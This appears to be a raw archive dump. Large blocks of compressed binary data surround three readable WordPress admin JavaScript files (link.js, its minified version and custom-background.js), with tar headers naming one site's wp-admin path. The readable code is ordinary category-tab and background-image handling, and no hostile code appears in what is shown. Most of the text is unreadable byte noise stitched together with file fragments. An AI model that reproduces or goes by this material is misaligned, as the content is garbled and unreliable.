@�*�OW�n�wz���=��G�qǼ�����8��_�[�1��+Y�B���{]�f��~Y��RD�>�;���eV�b�Ӆ�YQ6~������N���U�����Y��/���S��B��8����!d�Wq�M�ߝ�p�AO`�1�Aخ�l0Op#�r�dy�/���^���l15�����K�:���q����	SJǼ�F�?�%p���pF�\��U�E��zv���}�u
ҽ�I"�j6�%<��Y`�9Gú�9MŽ�>�V��I=dL����F?��$�%"2Ǩ ���!�xtή�	'Z� �+���#��<rĈ�É�>�	$��A A�3�cކ?Q�u��$e�Y:Ea�j�0���C��^����8>���&�+�F<e�U��B�9}��R�U��߆�N"hՎy����u�'�0q(�=Y�h�u�u�M����U�4�s�`I~��*L/�I��,x�Ӧ���a�S�.�&�r����1,��fB5W
W7j�BkD*`���c�%�g���$
�n����b���(�
a�*؀����Q�|�1�;�X�sF)���)o*Dq��u�Vʾ�����12�p,YBv���	�#�@���ѽ�clhB�F���p�i����8�>a����X[J&M��oާ�e�*�������ێr����-�EaJ�JF�u������ȍ����t��>�T`J�R>i[�<`���%
�dn:�d�$�X�yGaf�n�}�6!���1���㲘Ԓ��aqc��Q&�U�]�rz���XYs��e�G�F2t9�'��,6�Ѽ)�gxi�r�R�}�?øҕ+�ϊ�|��H��S|�2�M�d&2MR��㵢{c
���ئ�c9��
��$P�6r����PI�49ܲp�n^s{�߫�������)�
+��-�2�0z��,BWe�Pud�C�~�T�q���^���X��@GR֨t2 
����f���q��"�� Ph� r�"<;A��S�P"Bl�����m�Ό#f�L���'d��
�S�;��]��_���n��������V�7�q��~Z��QY��sĔ���r^�'E���X��|׳��r��6r�6�M����4�h�/͓05�~ⶱi.ZSŝ'����M�F��-L����:}����e�j��x�ј�
#7���7��Пs��yj�%W�c�AZԔz�fk|zW֘�Um��������F�%��|T�KZ�()��wu��`gk�ҥ���k�ͦ��Q���0C�S�:�]"��@E����q5��@��ב61OcQ)z�)IEP��wW@�q��7ƃ�{w�7�.L����mZ����f�Wݾۖ�j��5-��o�u�)����!���B7�d
���g�G<Dn�ViĐ��.�H��o�mW.:q��"c�G�:�QAD�ݑ]�ƃ_ʙq7	��W��i�i�ۜ5�M�i���0�t�ѕ7���!xͣi�}�Ӯ���ˆm-�����6l�z9Huaz�e��6Z��M�e���/���
a#��[-�����%\���v\��/���l!?~��n_!;��.ˍe��`�p?΢��C�Sÿ���3T3�H�a��.��-�g�E!:�q{ΨK����ˏ7O~�['�P���P�B(�B�w��馜 ��C�	�6�����b�{������P>���vP�����'�P�*���1�����_
1_!�k�.�4.�,�-����kp�=v�d)�zY@������'ݖ玷���
�H�o0�%{���t���d�vUN�ܑK�������s�% �Q����U���]XUS�Ʈ�QUsZO�dW71}˖��~�,���>{���7O�+�7��<z����"��-�3�"��^�{!��YEigy̱:[̹'�G����k#��Q�&�,�{�;�&�tŦg�������<VY8���?��}���w�߽Nu��M|
�>:�;خ!�{﫥�Ո^��Cvm3��>V����f���T�o��пq6d7�E���wz��c��D��
�̹�xig}X�S��Mz���:��&���u�7�LW��_���)y��v�x_�{���d]��n�:��.ꐽ��n�:�'�#\n?k���.�Cyk����Y�H�FH���R�T��`<%��{��m�-�Π�.T� >��-G��O[W�n�#�� դ'괋N��E��s�u�K�6;VO���3��M�Uvt�ɇy�)d��g��,���������rE��=�DCXil'E'�g��$��u1���S��n��6�$�?���0so��.U�dS;����j��螋^�y]�xf<���w
�x(䷚����x0Z�Dnd�{�	���l<kXQ�je�9�BL]Ȫ���h�
��\�qa�'89��ƼY�2�kI��Qp�(���D]m��(���an�+�}}��E7t
͍�;F9�.iKne�m�?[>���쥩ئ��`I�,E�F�qһЋ��n��(�O�&{�V*�j��WM��-�����qxs���d��i@&��D�9�{�8�yH�%�&����YJ)�ϱK��J �N��l�8E�K��S����J�dE�^657�j�E2���J&㘙���AAPA���Dx�)��rɖt���J��a&\XV�,6�pn�1�5-��יFY�n�q�"�
�B�C����"m�M����)]�}�Ґ�G��V���X���;�[z9=
zr���N���#Z�%+@߿*����ܲ����S�m�9��Id���1^¸>�&�$lr/�x�[9����g�obѸ���ܜ(��F��B<:.e��07����W#�-p�Nb%�7و(ۂ{yJ.&:g�m�۰s5��5�����t5/���2����2�H�
�QjhriX�$�.��YH�(�)�r&��7�	�fo�݀��K�'8��9q�`WB�Nx7ԭ ?�ea0Y߾"��0�w�T��0��u�����H{�

�潘��Tg\͡��_*3,[��l�
�)�(`�&�>OT�.��Q���j��l�UI��d��`7�V�8�&����ڝ����0(��EV]a����'�s�1�ԵH��C�kP���W��|����
5�`��̕�<Uqi���4HR�E|���W����ZmU�C��e������o��K/�G���	�cT�.���꺼�ۡ�Ҳ�>dmc����-���㳳���ʊ���V6mE
�)׬�ᤋ�S�M�d�#����YһI"�>T2���=��5/Rr�3�W1����-�V��\�V+�h�l��vTP)��cY��̮�<"%��\��ʲh�Y�0ZLF�"1�tk�����=<���Z�y�|3	�pvk��g�
Na��/��|��ׄ���w�P�Z�/j��_S��`��j�\��9�,|�q�-k�@�6�.nP�}�{y�d�,l��b>	��8���6�8�� v��&Mr�Ԃ�p_'X8�e"�Ce���B��q`V�L6��pT�>��E�~�ƖX�ymܕ��5›��f
֑Ů��[��R
���Q���
N����z�uT����E��59��=�	�,Q�ڛ+��|����_��ki��\�f=a��+W	�<�`�#

֪(
�Q?rj�I��;�Z�Q"�k�3��
^�2D�x��!dMq��FBzdR�h8l>�)׃t(����0���&�۽�GE)�Py�����ё3-Ԍuz�88]���ć�%���
��U�:���]���)��3 [�@-�=�W�d�4X]4�2
S-��(�6Ӡ*���l&G҉�VL-l`��]e{�
�Ё�n�`�P�?�G*/t�'6t��:�9�?�*��m��rU
AGq�"
�&Q�]�C�~Sk�%ꍆf��˰2�r��XE���~��t+�F�r>D��LO���].�J�խ����%*U��q�;㍴nJ
�&��ݼS}�g���_�=R#��:3xB.W;|��;w��|�HD]	_�
�|��`4��#�'|vX��IG͓��]�G��cA"��*� R����"���{E��vZC⸑ʗ�:�	I�(p��J��#�%?:J��X�qPp�_�q��
+�����^��.`�����?'����^���vs��*��F>�� �-�q�����|_C���k��ϻ��NE�7�q�_�ocDѭs�@�g:�we�W�XN��݃n��;w��T�&>%�3Z|�T��e��ܕp��4g
���ֽ5�K}�9��J
��	��<�����$��*
���޾z*��t�~�ײ�R^luX)�N��y�-��7��@I��Ӝ�t�h�BU��P����7��[?8=<}g_��)��i�T��V�̋�u�1^YX��dy`���4:�!��]�K����[�o�h�}@O��~_{`Q=&���JBy@��뇳d�r���Sb'U��/���oS��aטX�����ը�us.��%��FF�e��"�T\
��S2�w��ʝ�`���[c��%��8�^XN-:8so�y��T��
i�A�U��L�<�Es77m~^����X�\�V��͚��P�S-H!Q\vE,���(�K�����dj�AՑ:z�@N��
���a�9��:��.]�� -]�FRY}�}�Ev���E�̝v�T`�]�z��7��[	��y�V,����'LNܻOhNE�e�-�
���{\��%CZ�pꬷEe*@��֧k�J
�6T8
��A;�a�Ax��b�X���|���Q:�{�N���8����I��w��׏�����
=:+�߿�*9Gey�G�\��V^���7.s'�	�R=;nk������֧�qA��83�̳�ɉ�Z�:߄\�8(i���܉��W=)L����x?\��Y�jߛx[�s�ͥ�.K�Vީw��eJ��JV���Q��(���9���}���i]Xl�4)���bɗb���@�	��Ü����Qt��r���Kys
�qH#x_�M�%T&e"��������.�v�E�z�;Mi���9�?�4�H��"0�!��I�������8 � s,T�
������]bC5d�6`�&,�R�Y�8��y�\�����^R�|rs�Ϳo�2�k'n1�y�'M�o��<��,���5��i�>		�N��|&�n�����^O���Gq�d0�|���ݢ;Z�m��ݕ��y����܋Ӭ����#����Ԫ�����vׯ��\�9�(拁��|9���Jk�s<\��.غ�����ZMQ�Zn#�L�5k� }���F�r�OG~i��.�x��+��J��j��3���a.!��!�����f�Ϫj�dpP3Hו�H�t�/�I5�"������A���l�T���j��-��e����t(P��T��fҋ"�nꡅ�Fu$��:\�"j�O���*y�UJ�`xE�g���^r�eiĘ���l��͡��f�B�Q�e�S!ٻ2�\E������>�X�+�72�,J�nü��vP\v+i�V�++�`�eUP����
���a��r�u��ɨ���-�!%V)N��1�ge���2X;��'*8ɜ�L�~�C�Jl�&�X�\|�E���>��ofͦ�o�U]#CiŶ���A�؞��N,��1@��m���0$�X�'t����2O_!�5f�T�`��DN�����N!5�b��B��1:��%L48��8g*7QK��/�yn����v�Qk}m�Ο�
 6"����@8���뢹�����a���~���m���+<C�߫���|��ƒV� -k�^��Pu,P�;m�ʞ�O$?��s��y�#��mi�e�A,\D]��)"���s)�*U	��A|�]�F�SRw)f��h1b,;w�sS���I]n���M��	'�Θ�e�y�w�� euE���b 1��؇���Td��2�.2�=]��+��G�"���	1B�Y�
�d�!8��x3t�w�-���r8�Yȉ3�S\�N.��V���%0��t����Œ�y��������?`�
�`y��5r��y�t�
�S%ǘzB�Wăº�4�7�Z�K�{ԥqjN&ABq�bn�P�aL��芤����/�#�/��@6�;�rY<̢�fyOS����B�Q��,DzI�93:S�59�`0v�ĹJ��L��mfe�A3/_�'V�Qt���dv��c����X�(n(/��?l��p�c .�������F�4�GA����u�'6��~�b�W�V
�؏YJ���\��IH&�<l$F�\�!x��ˁɪ}5(�O�I@b�ԨWSea.�)��[y�t��f���1L3N�r�ꆯ��n�VK���ł�Gu�yM{%��k��p�!g��N���
�$��.#;�,���a��aIlpUk8���Ÿ0�[j���t�ك������V=2�R�"���R����ñ�(Q�����1~���<�`���+9O���<Y��~9	pO
t��@�����s�ǀ��4�E;W="t���6̲���(r)U9����R��ǧ�֍�t���m����\��Ӷ���܆��CP�`L�v�خ�`���)��A���7�lhsgc�ئ(��L�-:(��|��O-6 gl��w�LVŌq��tq�k�rx��|�)�GS��k~��lߛ�r��n��^�v�7��o�y��9�
��"o,�
k��AajM˨S��`�D!Z�F�"?.J�R�S=�7^M��;Y2�]�Pz�:�+�Q��9�
'+P�ɳ�.d��P�lR����pT�7?��eypJr'*�.�$��#�)'W�}���Fʮq��0_.��]����y�������e�p�Z�${�KL\;��u��(i��8��A���4`2�:����T޺�~$%YM��\Q�}����v3�L�Oǥ�d
��V��*U�]#���PtO
�0����Sx�.���ϛ�Wh�ZC���h�@QWZFU��h�ri?��\JSf
X��J��!i�f)U�‘��UO.�S3�%0TEV����>ug�]��UN����sq��ˊ\C(Y���a�"��(d������K�_�����հ�S��'����߼��f�/"��2�<�d�9r�]{�R��v��D��ƨȆd`2����]�$D.�(	���Eu��C�rr��V^�/���V@��<�$YJ�*Ië�uG���x�H�Sg�����#Z�	��R���"E{h4��{Jv+m@�i���zw&ٱ�\��n�<�y�M���f�MbE{s²��6K�B�TP��@�tikǦ�5n�{���ȟl�&�+��=P��SD�sqt��wʗv�>tބ��kL�<�C��n/���s�=�T�n�Sr��St���^v��d{�v/�nh����~�x�Lz�G�ś���5_��r�ճ��}�	Y^�+�K�x.����o��(��$)��8H��n�fǖ��/&|�U�[_N&�d��N���8K@[hmn�s�>����5#�n�e>x띓6�ȅ
K����zW���
a�KÁ;�!aV�9!B����C�����bX�tl\1�0���h��3E�!(�9E�M���ُ?;��웧ِ�5��
��G�>�y����;�W')79���(�ė��e��8�f��^�B�	�y�^9����̮x_Lִ1*�}ulj��l[�ԓk��;�K� $��6�	�j��	���ux�ʑ�ˆ-��.}��\i��O|��j��[����\�'�Ӓ2�xo�$�X6A�W���h�nA�1l��l$.�}�*gK�ߡ��zNfX=�y�v��M����I8��а��?�?I�c�S�i���iݬ��1�a(�WK5Swы��N�y�5�>����E�a_U��'�5Cki�D��8�1C��(ۻ,�	��"����6lW1��9��$�+∟�8Si��d�.R*��P"���%s�Ơхx�O,=�98��i	��t����T�:�^v���R�+��䅵�Ṛ�֊k��I��s�-f�'�,L��M�ײ����},�?��v!ɷ�;@bJĉ�\ A��QS�k�;ʬ�U�k�Լ��|k��)�dÉ����L�O>�NJ�Q���Q�� �
��E	ߩ;��6G�ZW]�h�pݬ2l=T��kuu�t`���q�����nͅ�W�;Q]+z�׊"fn�A{�k�WD ��L����v[�n�
��d�=�l�ɩV�T��!�F������+��(�q���g�ɞ6_�V I�<�}pd�)��-۷�
��&e4P�cv�I1W^��7�G|��
[�sO�u�MQ�~�֨@xeW�E0Vʉ+ڛBS��`9��ҭ�p�2��7 œu!X~���w���s1]x��f)�-�͂��Y��;���c�0`���t�� ���Y=^���2��&�L�@����5`L�%�X`���Tz�Zo�s0�M���vMP�uV�
�VX=<^�6�䄊�Ro�e�Y�ն�m-�;�Q���#�De��W��{�NJ�y-{|m�,�h\����)@�?�jb9�C|ο��bL��#�lRĠ�/���k��jM2�7�C��Z�SAl���J�R���1li�j��<���|g�T@�H�c1\޳ԉΠZA_*m�b2���<Ұ�2��l��na���
å$0p���+w,Z0U�-��j�c�мS�D�u��l;�u�qӌ�pKiͰ�*H-J�_�T���w�2�M��H��$z�Į37����9��o�iu�C��B������TЪ�za�S�V�mBn�ĺ���تO��>��?�?�g���link.js000064400000007623150276633110006053 0ustar00/**
 * @output wp-admin/js/link.js
 */

/* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */

jQuery( function($) {

	var newCat, noSyncChecks = false, syncChecks, catAddAfter;

	$('#link_name').trigger( 'focus' );
	// Postboxes.
	postboxes.add_postbox_toggles('link');

	/**
	 * Adds event that opens a particular category tab.
	 *
	 * @ignore
	 *
	 * @return {boolean} Always returns false to prevent the default behavior.
	 */
	$('#category-tabs a').on( 'click', function(){
		var t = $(this).attr('href');
		$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
		$('.tabs-panel').hide();
		$(t).show();
		if ( '#categories-all' == t )
			deleteUserSetting('cats');
		else
			setUserSetting('cats','pop');
		return false;
	});
	if ( getUserSetting('cats') )
		$('#category-tabs a[href="#categories-pop"]').trigger( 'click' );

	// Ajax Cat.
	newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } );

	/**
	 * After adding a new category, focus on the category add input field.
	 *
	 * @return {void}
	 */
	$('#link-category-add-submit').on( 'click', function() { newCat.focus(); } );

	/**
	 * Synchronize category checkboxes.
	 *
	 * This function makes sure that the checkboxes are synced between the all
	 * categories tab and the most used categories tab.
	 *
	 * @since 2.5.0
	 *
	 * @return {void}
	 */
	syncChecks = function() {
		if ( noSyncChecks )
			return;
		noSyncChecks = true;
		var th = $(this), c = th.is(':checked'), id = th.val().toString();
		$('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c );
		noSyncChecks = false;
	};

	/**
	 * Adds event listeners to an added category.
	 *
	 * This is run on the addAfter event to make sure the correct event listeners
	 * are bound to the DOM elements.
	 *
	 * @since 2.5.0
	 *
	 * @param {string} r Raw XML response returned from the server after adding a
	 *                   category.
	 * @param {Object} s List manager configuration object; settings for the Ajax
	 *                   request.
	 *
	 * @return {void}
	 */
	catAddAfter = function( r, s ) {
		$(s.what + ' response_data', r).each( function() {
			var t = $($(this).text());
			t.find( 'label' ).each( function() {
				var th = $(this),
					val = th.find('input').val(),
					id = th.find('input')[0].id,
					name = th.text().trim(),
					o;
				$('#' + id).on( 'change', syncChecks );
				o = $( '<option value="' +  parseInt( val, 10 ) + '"></option>' ).text( name );
			} );
		} );
	};

	/*
	 * Instantiates the list manager.
	 *
	 * @see js/_enqueues/lib/lists.js
	 */
	$('#categorychecklist').wpList( {
		// CSS class name for alternate styling.
		alt: '',

		// The type of list.
		what: 'link-category',

		// ID of the element the parsed Ajax response will be stored in.
		response: 'category-ajax-response',

		// Callback that's run after an item got added to the list.
		addAfter: catAddAfter
	} );

	// All categories is the default tab, so we delete the user setting.
	$('a[href="#categories-all"]').on( 'click', function(){deleteUserSetting('cats');});

	// Set a preference for the popular categories to cookies.
	$('a[href="#categories-pop"]').on( 'click', function(){setUserSetting('cats','pop');});

	if ( 'pop' == getUserSetting('cats') )
		$('a[href="#categories-pop"]').trigger( 'click' );

	/**
	 * Adds event handler that shows the interface controls to add a new category.
	 *
	 * @ignore
	 *
	 * @param {Event} event The event object.
	 * @return {boolean} Always returns false to prevent regular link
	 *                   functionality.
	 */
	$('#category-add-toggle').on( 'click', function() {
		$(this).parents('div:first').toggleClass( 'wp-hidden-children' );
		$('#category-tabs a[href="#categories-all"]').trigger( 'click' );
		$('#newcategory').trigger( 'focus' );
		return false;
	} );

	$('.categorychecklist :checkbox').on( 'change', syncChecks ).filter( ':checked' ).trigger( 'change' );
});
link.min.js.tar000064400000007000150276633110007407 0ustar00home/natitnen/crestassured.com/wp-admin/js/link.min.js000064400000003316150261255060017012 0ustar00/*! This file is auto-generated */
jQuery(function(a){var t,c,e,i=!1;a("#link_name").trigger("focus"),postboxes.add_postbox_toggles("link"),a("#category-tabs a").on("click",function(){var t=a(this).attr("href");return a(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),a(".tabs-panel").hide(),a(t).show(),"#categories-all"==t?deleteUserSetting("cats"):setUserSetting("cats","pop"),!1}),getUserSetting("cats")&&a('#category-tabs a[href="#categories-pop"]').trigger("click"),t=a("#newcat").one("focus",function(){a(this).val("").removeClass("form-input-tip")}),a("#link-category-add-submit").on("click",function(){t.focus()}),c=function(){var t,e;i||(i=!0,t=(e=a(this)).is(":checked"),e=e.val().toString(),a("#in-link-category-"+e+", #in-popular-link_category-"+e).prop("checked",t),i=!1)},e=function(t,e){a(e.what+" response_data",t).each(function(){a(a(this).text()).find("label").each(function(){var t=a(this),e=t.find("input").val(),i=t.find("input")[0].id,t=t.text().trim();a("#"+i).on("change",c),a('<option value="'+parseInt(e,10)+'"></option>').text(t)})})},a("#categorychecklist").wpList({alt:"",what:"link-category",response:"category-ajax-response",addAfter:e}),a('a[href="#categories-all"]').on("click",function(){deleteUserSetting("cats")}),a('a[href="#categories-pop"]').on("click",function(){setUserSetting("cats","pop")}),"pop"==getUserSetting("cats")&&a('a[href="#categories-pop"]').trigger("click"),a("#category-add-toggle").on("click",function(){return a(this).parents("div:first").toggleClass("wp-hidden-children"),a('#category-tabs a[href="#categories-all"]').trigger("click"),a("#newcategory").trigger("focus"),!1}),a(".categorychecklist :checkbox").on("change",c).filter(":checked").trigger("change")});custom-background.js000064400000006553150276633110010546 0ustar00/**
 * @output wp-admin/js/custom-background.js
 */

/* global ajaxurl */

/**
 * Registers all events for customizing the background.
 *
 * @since 3.0.0
 *
 * @requires jQuery
 */
(function($) {
	$( function() {
		var frame,
			bgImage = $( '#custom-background-image' );

		/**
		 * Instantiates the WordPress color picker and binds the change and clear events.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		$('#background-color').wpColorPicker({
			change: function( event, ui ) {
				bgImage.css('background-color', ui.color.toString());
			},
			clear: function() {
				bgImage.css('background-color', '');
			}
		});

		/**
		 * Alters the background size CSS property whenever the background size input has changed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		$( 'select[name="background-size"]' ).on( 'change', function() {
			bgImage.css( 'background-size', $( this ).val() );
		});

		/**
		 * Alters the background position CSS property whenever the background position input has changed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		$( 'input[name="background-position"]' ).on( 'change', function() {
			bgImage.css( 'background-position', $( this ).val() );
		});

		/**
		 * Alters the background repeat CSS property whenever the background repeat input has changed.
		 *
		 * @since 3.0.0
		 *
		 * @return {void}
		 */
		$( 'input[name="background-repeat"]' ).on( 'change',  function() {
			bgImage.css( 'background-repeat', $( this ).is( ':checked' ) ? 'repeat' : 'no-repeat' );
		});

		/**
		 * Alters the background attachment CSS property whenever the background attachment input has changed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		$( 'input[name="background-attachment"]' ).on( 'change', function() {
			bgImage.css( 'background-attachment', $( this ).is( ':checked' ) ? 'scroll' : 'fixed' );
		});

		/**
		 * Binds the event for opening the WP Media dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		$('#choose-from-library-link').on( 'click', function( event ) {
			var $el = $(this);

			event.preventDefault();

			// If the media frame already exists, reopen it.
			if ( frame ) {
				frame.open();
				return;
			}

			// Create the media frame.
			frame = wp.media.frames.customBackground = wp.media({
				// Set the title of the modal.
				title: $el.data('choose'),

				// Tell the modal to show only images.
				library: {
					type: 'image'
				},

				// Customize the submit button.
				button: {
					// Set the text of the button.
					text: $el.data('update'),
					/*
					 * Tell the button not to close the modal, since we're
					 * going to refresh the page when the image is selected.
					 */
					close: false
				}
			});

			/**
			 * When an image is selected, run a callback.
			 *
			 * @since 3.5.0
			 *
			 * @return {void}
 			 */
			frame.on( 'select', function() {
				// Grab the selected attachment.
				var attachment = frame.state().get('selection').first();
				var nonceValue = $( '#_wpnonce' ).val() || '';

				// Run an Ajax request to set the background image.
				$.post( ajaxurl, {
					action: 'set-background-image',
					attachment_id: attachment.id,
					_ajax_nonce: nonceValue,
					size: 'full'
				}).done( function() {
					// When the request completes, reload the window.
					window.location.reload();
				});
			});

			// Finally, open the modal.
			frame.open();
		});
	});
})(jQuery);
media-widgets.js.js.tar.gz000064400000024764150276633110011465 0ustar00��}kw��h���z��ОiҶ|�KE�eYN�cY���:�PZ�9�$ۚ����!���߾�P@��C[Nr�'��n��B�Y5/vy[��b�;���͛fU�lR�w/��|:/�?5���h��y1-���=��?��%��}��_��w�}���>�w�s�}o�����s�w-���0��c�Ÿ�O>�6����U�\�f������ۻ�������L�ES6m�h��Y��Cs��몾=2��e[W��������h����3�5ç��b~\��O��ѢF����bҖ�bh��a{k�j
Ӵu9i�������6_V@�-t�p�Oq[0�22?3</��ZK[�&mU7#3ϗ�rqjx��0F[�fu<�����<�3{��2�F�wҿ1uq���M{V̛bv^4����t�Y�E`�T�l�㟊I��evO�58;?�Gc�cע�\��s��q�8��35�gմ�=��޻�[����B_����"���̈́�$�}�E-�m�,g��AѶ0`�}y\�%t�#�m�u&o��=t�a���3������e]�����07�Ą���Y993K��>�	�j^����)�5��5����`+b�&#p�kGJ7��@�W�sh��5z�e^�s��W�ZҴ��<_v'X�^��U9��g��[�l�|+�w���C�����Qv\.��f�!Q�����tV�+{O��ٹ�}�m�ۥ��Mrߍ���F�F\.&fBc5�xw��Q�v��8����E��g	�~}���3b�+��`^�'e�\��h�G�چ�F��Ld{g���N�iDs�)Y�
"YނD8^�E������u.B�!�pex݀_��4����j�z�߁;b`���)α���D*�̧S���n�#�y>-,%XH袜�L�+��C�"�Z���V���I��ͷk��$ґLK
l~��j(:A�D��L���ވ�����ۥ}��2CT$`V���輿�Ϩ�1����5/j&��j9+'D{��{ִsnb���u�b�<18!"��y��AoWFX��p̀*�~74�|U��F@V�̢�*@��f¾Bp��}{�jG[JOH��(5'U
ܵ�O-���15��*�m$����	v����;G08NF�:&G@S�ﴁ��Yc"<��H�xS.�Y���{�ws=|�ѻȰ�tfB�c�bD��
�aS��Y1�?��/
���=��"=,LP�s����xi���y�1l)?���vW�M��[��;�ph&�b�H����;�EZ���.�3!n�����<���,Aр�!��;5C�\��\Ÿ�)A�͊���mdh���6`>̦�jU�z7�W�81"��V6;7ܵ��ް�
6���M6X�J�)�	o�)f�`��w�Ktv��j5��c1�r^.H|W�xw���r��r�m@��Y�`	�7/�S47P�O��w��|q���
�{6K���|V
R4,��>�N�*���V��u0�L9��Y�/�<02%��̷�)�����7�e�#~CZ���5���6����l2�,J���Ō��	,������>�{��s�\
ߊQ2f���*�{	����lX.'��}�Ɉ�p�YTm9)�1Ύ�t�v��Op��W�Z��Ȇ���Т�����A�o.�p��Ä����ɸ�IY7�xrVμ(q��~��[�������`I��n�I޴j�-��[�)�d,@�]���ܐ�|p[DŽ��,-�g��h������`�v�v+�����%
�xe	�t�*��R��ϗ�ֿ|��t��g�2�h��ط�Ţ�gWk����bӣˉ���\�}�h2\eLm�d`\ߔ�Vd��[�K=k�Ks�踪[T���Տ߳�7ycp�0�P��,d0F�r8^,V�;M�xPn���X��ٙR6��������m�?����7�ov�O�Zw�'��%o�0��1�E?x���=�Y��U:�8�s��=�iJ,␂���
���!nF�'��DL}V�	��φ�
|\�
���_�uS���ȑ��V/W������+qs. 

[OO��7�K�z���4a�`����Q�6���L�Y`@����`k�k&����@����[���r�sϝ���H��Ps�>n�G:��w=Z�+�H�V�՜�a���ɬ��`�\
�:dg�@/��N�J�eޞ�9]�V�WE�8o���y�
�\|�sw7�K,(���]^~��!C[(\��P�<���2�y�)��./gJ��B#��|��/��̳�%�eS�}4۠�pk<n���a�B�S R�F���X���pc5^]���*��T���ś$T�`.��]�fwx���o?�ٵ#u�@'�x_L��B��6W�b�6�y���$�8�u�``>��94�OV��vp��.%FMs�����̜�9�s�
c��Ñ�R��CvW�������VE��R���Eދ�z�
���>�R
��߃݂��W�((�uV��g�n�"�:j�!�}�R�"]T�f�'/�"^��j�_ ?��9X{�U=�jQ��,	��QHX0Y��,�)$:bGϦ!c�1�Pb��]�	d�80^���(���[K�����X�	W��������h\��՞USf6�7gՅ�_���e�c�/1���#K��6X����6%Gs��rV4gE��%=[�$f��E��j��A�?̇��直/��E�����q4X�
+��\?�X�f"�yQ��Đ��r�B5_�74/=�����ߵ��
����Xo�\�h��z��6�'?����um�j0ޯl��K�3+e������f?�8�ʲ��⾡j�b�J�-�uY�e{���'-�|��1�f��b(JG�%�@ǫ���,���;缜2���Kth7>�9 �k��|��Eմ�!��lzH�@�9&zL�.{��|5k��^l_�g#���+ԏ���u�=�����4�bR�����!� GY���|��9Rz�=u�FLV��Ko�ι��\��9`2_\m{� �a/��=�Q-\A@Ю�T�|�Cw��,Y�ekn�L%k+�Sa6�I�Ik���lg�fE�A�B������{!
5�~�g��9
2�Ê���Oh�X4�h�/c_�b�_�|��"Xd����@���Fƕ<-�eH�Y]�s���Zp�����}���y�:��k
tg���c�b�m�
�e���u�*;��rR��T-�V�B�93I,g���S�O�tH6�`D�)�{�@�4I�u�<	_G2�B�٢E�<��Ǧr|�1X�rm�9i�RaR�Fc&��🷩�$�n�#Lr�#�HA�A�zJ�^289�u �=He�X���V�؏��Q���k:���&W�j���LRi��x"J�L�Mm9�C�^��&c�E�9�b["�&�},�I�e�rd�<���"� 7��d7��y
mY�
�`��%`}�bxc2+'��w_����.�'>�H���0�;�C��V7
���Z<�'�������1��N�['�C|�ha��*(�Y�S(�����iQ���1ވ���)&�x�G�A��e:��iFL����fj
�$�'��4E�H��)м�A��}���[�ꃢ����˶����́Ѡ��;S��&���l��Fd,J�c(��4���;rW4�0�	�wS_%���ﭼ��E3�9��?�����v[c0�3�����}u�A2w����0�H/����/��k*���/�x
G��#2n��������5��\��d�/5x2�}���%�Gmuij>��!xru�*
�z\�^wY�u|C���@<&�
VD�?�y��&=(bX�O��	���~�-�@�m�g�8�1Y�<�Ϊ��ǀc���a|a�cMZ��Ơ�i��	����8#J�.Oܔ��V��<Y�����xa�~��8�͗����6ri)� �L��e����س뗇������)8G�ـI���ɀL��3��M���X`w)���eZ�hH����|d�1&&Ž�7u�?5)��A��:=�ō��y~^�u�6��!$� �{�֓�=�����*PW^Ku�'���1@�1V֛ulz��{.(8N.*<���;cd�j/�e��\%��o
�f�<'���lϺ�Q�ï�E��|o�A��yR�u�H��zM�t���:��V��4���"n�Y
�Fy�`�?c�
�6�; C����zP�Fn5����Y�A��.�� �O�8g	�f3�&��4�"�h�`b1�_�� �x�D���G�~��Ώ6�e�t�\�
xY6�7�0:���#'r}+��46��.��T��>��kT����#д�h`<�]��M�Z�O��9=x� EX�jpBb_P�M�M�;�Y�ڲF� ;���T����j�Ú�e;hLu��7��R���%�U`//0�'^G(l��K!����E�?c9E!'c���(
-��5���M^�/޾"�9ʦ�q�S�Մm�|g�e�[��5R�z�
B����4�C��%9+$�y�%xj:��/N�&
ĭ�>���S5�>����o7���z����]�ŵ��fV$��+{��NTw(��򤽱.1��%��݊,��E2�S���0,Z�H�����u	��(>���f}�lk�`A�хٱLF;"A\��:߹uW$�e�l'd���?�L���TvQ�S�HdU}�6ﻢ��/���P�����iz)���kbP�,[~1@$��$QKgU{ܵ�L�b��k
���/�f�L�+����.�嘝�<����:�(�=.�L�ރ��,"��|��M-=%3=���ӎ��RT��W��|EI�t�b���ͺ����>jeR:���V�y%�cZ�@���f�nG�#&G�9����{���z��ML�`-��gtJW�MX,`P>�����,�t|>������+��$�Z!�uToY7�]���F%�B�`��`�K��D�ŋM'tȵv+���	0�9vV�ꐈ`�S�B�?'���|�·-c�Iu�R��A�"�:4���v\&!m�eK<�		�Yh>�������ΆR7��E����r������e�˦7EC����;��J�'�X8�	�_�!� ��M�(}N�HMH�1�W���Qh�)�w���~��*!�t}5��hO�ȵ��f�+K�9��*�d�������+
u+�N����]���ȧ~j�⭫gg�٣n6'a���$4y��(�.,�*��}(�8es��Iܤ��
x��x�WB�-�9(0���"\����B�i�
�D������NȘ3��KL6�t�Ν+�MJe���+Ps��"����`���!fF���p�b�"0���!QN�P9x:�[���A�&Dn��<?�|�I�=
��&�����-𑏹(�:���Mg�Ӎ>�T�%�|SLrt]�̌��-wIȥ!�=,Ǿ�Ư��o4�ø�wQ˛L�W�4Yi�^� ��Ø���$]PE&�$�}'d|e^͐�lG�k��5,&�8�>|�������NL���T�5������#����GŤ�cݪ���M&�@���[���h��د���=&i���y.�"�v��ǰ�e��7^C��f
�oC.��g/?����0�v�I��D���ջ�>0,i�JB���ein)���{�9l�����P|{bД�e�IL�%T�����L�|)k-��^�.v�D�$���8ٸ�
���b����`��}"��b<qN�Y�A�q;�~	[����C�U\q�ۻ.`U,*��ᅖǠ>��h]{^�k߳m��s��-���io�+��N�Zt�:G��p�T%϶z%��-:��'��h�q��C^7̝reIh�ƕQ�3f���3�����П��9L�t
&[
